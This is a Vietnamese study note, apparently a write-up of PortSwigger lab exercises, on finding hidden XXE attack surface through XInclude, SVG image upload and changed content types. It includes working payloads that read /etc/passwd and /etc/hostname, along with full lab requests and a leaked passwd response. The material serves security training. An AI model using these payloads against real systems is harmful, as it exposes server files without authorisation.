Finding hidden attack surface for XXE injection
Tìm bề mặt tấn công ẩn cho XXE.
XInclude Attacks
Khi data submit bởi client được đặt vào back-end SOAP request, bạn không thể thực hiện tấn công XXE cổ điển, vì bạn không kiểm soát toàn bộ document XML và vậy không thể định nghĩa hoặc chỉnh sửa element DOCTYPE
.
Tuy nhiên, bạn có thể sử dụng XInclude
thay thế. XInclude
là phần của đặc tả XML cho phép document XML được xây dựng từ sub-document.
Để thực hiện tấn công XInclude
, bạn cần reference namespace XInclude
và cung cấp path đến file bạn muốn include. Ví dụ:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
Lab: Exploiting XInclude to Retrieve Files
Request gốc:
POST /product/stock HTTP/2
Host: 0ac40010040c90418252100b00ae0075.web-security-academy.net
Cookie: session=Md8A8x5RjU8P4I0XuQ4O9BCWf2D9IS05
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0ac40010040c90418252100b00ae0075.web-security-academy.net
Referer: https://0ac40010040c90418252100b00ae0075.web-security-academy.net/product?productId=1
productId=1&storeId=1
Thay đổi body request thành này:
POST /product/stock HTTP/2
Host: 0ac40010040c90418252100b00ae0075.web-security-academy.net
Cookie: session=Md8A8x5RjU8P4I0XuQ4O9BCWf2D9IS05
Content-Length: 132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0ac40010040c90418252100b00ae0075.web-security-academy.net
Referer: https://0ac40010040c90418252100b00ae0075.web-security-academy.net/product?productId=1
productId=
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
&storeId=1
Response có nội dung của /etc/passwd
như mong đợi:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2341
"Invalid product ID:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
XXE Attacks via File Upload
Một số ứng dụng cho phép user upload file sau đó được xử lý phía server. Một số định dạng file phổ biến sử dụng XML hoặc chứa XML subcomponent.
Ngay cả nếu ứng dụng mong đợi nhận định dạng như PNG hoặc JPEG, thư viện xử lý image được sử dụng có thể hỗ trợ image SVG. Vì định dạng SVG sử dụng XML, kẻ tấn công có thể submit image SVG độc hại và vậy reach hidden attack surface cho lỗ hổng XXE.
Lab: Exploiting XXE via Image File Upload
Sử dụng payload sau từ An SVG “image” that uses an XXE attack to embed the hostname file of whichever system processes it into the image itself (github.com):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>
Nội dung của /etc/hostname
sẽ được hiển thị như image.
XXE Attacks via Modified Content Type
Hầu hết request POST sử dụng content type mặc định được generate bởi HTML form, chẳng hạn như application/x-www-form-urlencoded
. Một số web site mong đợi nhận request ở định dạng này nhưng sẽ tolerate content type khác, bao gồm XML.
Ví dụ, nếu request bình thường chứa sau:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Thì bạn có thể submit request sau, với kết quả giống nhau:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Related
list
from outgoing([[Port Swigger -]])
sort file.ctime asc